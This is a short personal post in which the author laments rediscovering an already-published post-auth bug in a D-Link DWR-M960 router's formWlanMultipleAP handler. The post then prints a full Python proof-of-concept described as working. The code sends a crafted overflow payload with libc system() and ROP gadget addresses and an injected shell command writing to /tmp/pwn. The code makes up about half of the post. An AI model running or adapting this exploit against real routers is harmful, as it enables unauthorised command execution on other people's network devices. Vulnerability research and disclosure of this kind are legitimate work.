Even trying was a failure. Everything I touch turns into a miserable failure.

It wasn't even a glamorous bug, just a small, post-auth crack in the plaster. Still, I thought it was mine for a few hours. I traced it, mapped it, coaxed it into an exploit. I let myself feel that quiet, private satisfaction that maybe, just maybe, I’d seen something no one else had.

I should have googled "/boafrm/formWlanMultipleAP" before trying anything. It turns out it’s been known for at least a year. https://www.cve.org/CVERecord?id=CVE-2025-6486
The exploit works. The code runs. The world just doesn’t care. I keep staring at my reflection in the window, trying to remember when I started mistaking echoes for discoveries. I sit there with my rotted PoC, my notes, my late afternoon optimism, and realize I celebrated too loudly in an empty room. The window’s open. The air is fresh and honest in a way I’m not sure I deserve tonight.

and here is the POC, ugly, but working:
```
#! /usr/bin/python3

import requests
import sys

# just auth with a browsre and grab cookie
# the js code is awful, I'm too bored to reverse it
cookies = {"webuicookie":sys.argv[1]}
host="http://127.0.0.1" #adjust

# We need to browse /wlmultipleap.htm first
page1="/wlmultipleap.htm"
# otherwise form is not accessible
page2="/boafrm/formWlanMultipleAP"

r = requests.get(host+page1, cookies=cookies)
hdr={"Content-Type": "application/x-www-form-urlencoded"}

data="wlanIdx=wlanidx&wl_ssid1=wl_ssid&submit-url="
data = data+"%2f"+"aa;echo dlink dwrM960_is_pwned>/tmp/pwn; id >> /tmp/pwn;"+"a"*209
data = data+"%e8%50%d5%3F" #system() @ in libc : 0x3fd25000+0x300E8 : s0 register
data = data+"aaaaaabaacaadaaeaafaagaahaaiaaja" #pad
data = data+"%1C%F4%D3%3F" #gadget@ move t9,s0; jalr t9, lw a0,64(sp)
data = data+"akaalaamaanaaoaapaaqaaraasaataauaavaawaaxaayaazabaabbabcabdabeab" #pad
data = data+"%C8%01%80%40" #stack addr 0x408001c8
data = data+"fabgabhabiabjabkablabmabnaboabpabqabrabsabtabuabvabwabxabyabzacaacbaccacdaceacfacgachaciacjackaclacmac.htm" #pad

r = requests.post(host+page2, cookies=cookies, headers=hdr, data=data)
```
In my poc, i wanted to do:
`echo dlink dwrM960_is_pwned>/tmp/pwn; id >> /tmp/pwn;`
but the id applet is not compiled in the busybox :D :D